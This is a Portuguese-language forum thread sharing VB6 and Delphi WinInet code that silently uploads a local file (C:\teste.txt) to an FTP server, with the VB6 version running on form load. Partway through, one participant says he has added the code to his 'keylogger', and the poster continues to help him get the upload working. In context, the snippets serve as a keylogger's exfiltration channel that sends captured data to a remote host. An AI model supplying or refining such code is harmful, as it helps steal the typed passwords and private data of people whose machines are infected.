Upload para FTP (VB/DELPHI)

[tekitos123 3]

VB 6 ==

 

Private Declare Function FtpPutFile Lib "WinInet" Alias "FtpPutFileA" (ByVal hFtp As Long, ByVal lpszLocalFile As String, ByVal lpszNewRemoteFile As String, ByVal dwFlags As Long, ByVal dwContext As Long) As Long

Private Declare Function InternetOpen Lib "wininet.dll" Alias "InternetOpenA" (ByVal lpszAgent As String, ByVal dwAccessType As Long, ByVal lpszProxyName As String, ByVal lpszProxyBypass As String, ByVal dwFlags As Long) As Long

Private Declare Function InternetConnect Lib "wininet.dll" Alias "InternetConnectA" (ByVal hInternetSession As Long, ByVal sServerName As String, ByVal nServerPort As Long, ByVal sUsername As String, ByVal sPassword As String, ByVal lService As Long, ByVal lFlags As Long, ByVal lContext As Long) As Long

 

 

Private Sub Form_Load()

Dim hopen As Long

Dim hconnect As Long

Dim ftp As Long

hopen = InternetOpen("ftp", 1, vbNullString, vbNullString, &H10000000)

hconnect = InternetConnect(hopen, "host_ftp", 21, "user_name", "senha", 1, &H8000000, 0)

ftp = FtpPutFile(hconnect, "C:\teste.txt", "teste.txt", 0, 0)

Edite os parametros da função InertnetOpen para as info do seu ftp

 

 

Delphi ==

 

var

hopen , hConnect : pointer;

begin

hopen:= internetopen('ftp', INTERNET_OPEN_TYPE_DIRECT, nil, nil, INTERNET_FLAG_ASYNC);

hConnect := InternetConnect(hOpen, 'host_ftp', 21, 'user', 'senha', INTERNET_SERVICE_FTP, INTERNET_FLAG_PASSIVE, 0);

ftpputfile(hconnect, 'C:\teste.txt', 'teste.txt', FTP_TRANSFER_TYPE_UNKNOWN, 0);

Add a unit : wininet

[darks4444 0]

explica melhor aew - sei q ftp é um arquivo

 

qual devo usar

 

e como configurar ele com esses codigos :/ pow nois nao samo o ainstem pra adivinha '-'

[alexroll3 0]

@darks4444 ta na cara meu Querido T.T olha o nome do Topico ;) eu recomendaria a fazer isso com a linguagem " C "...

[darks4444 0]

da uma força intao nessa linha

 

oque é isso \/

Add a unit : wininet

 

--> erro no delphi

hopen:= internethopen('ftp', INTERNET_OPEN_TYPE_DIRECT, nil, nil, INTERNET_FLAG_ASYNC);

 

ajuda ae :D

 

tipo nesse codigo inteiro, puis o ftp host - login - senha tudo certo - agora essa linha da erro...

 

ajudem

[tekitos123 3]

tem q add na uses wininet

 

ficando assim :

uses

Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,

Dialogs , wininet;

[darks4444 0]

tipo, o_o eu to usando Ken FTP, puis a senha tudo certin a porta também... mais o arquivo nao aparece...

 

C:\teste.txt (disco local)

 

oque devo fazer? pow eu sei q sou noob =) :D huahuahuaha

 

 

tipo - eu incrementei o code no 'keylogger'

[tekitos123 3]

vc tem q criar esse arquivo teste.txt no disco local ai o code ira mandalo pro seu ftp